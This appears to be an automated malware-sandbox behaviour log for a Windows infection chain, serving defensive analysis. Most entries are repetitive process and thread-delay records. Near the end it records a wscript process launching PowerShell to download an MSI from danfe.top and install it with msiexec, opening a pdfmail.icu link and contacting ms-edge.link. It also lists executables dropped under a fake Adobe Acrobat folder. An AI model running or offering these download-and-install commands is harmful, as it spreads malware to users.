Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5084	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4699	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Window / User API: threadDelayed 3903	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4100	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2747	Jump to behavior

Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI411E.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Reader\Adobe Acrobat\fec.exe	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI41CD.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI418D.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI4090.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Reader\Adobe Acrobat\avutil.dll	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI415E.tmp	Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5440	Thread sleep time: -14757395258967632s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6264	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6812	Thread sleep time: -9223372036854770s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6484	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7068	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6476	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Invoke-WebRequest -Uri https://danfe.top/baixar-aplicativo/?app=Kra.msi -OutFile 'C:\Users\user\AppData\Roaming\Updatee43o.msi'"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\msiexec.exe "C:\Windows\System32\msiexec.exe" /i "C:\Users\user\AppData\Roaming\Updateizpy.msi"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Invoke-WebRequest -Uri https://ms-edge.link/contkra/serv.php"	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
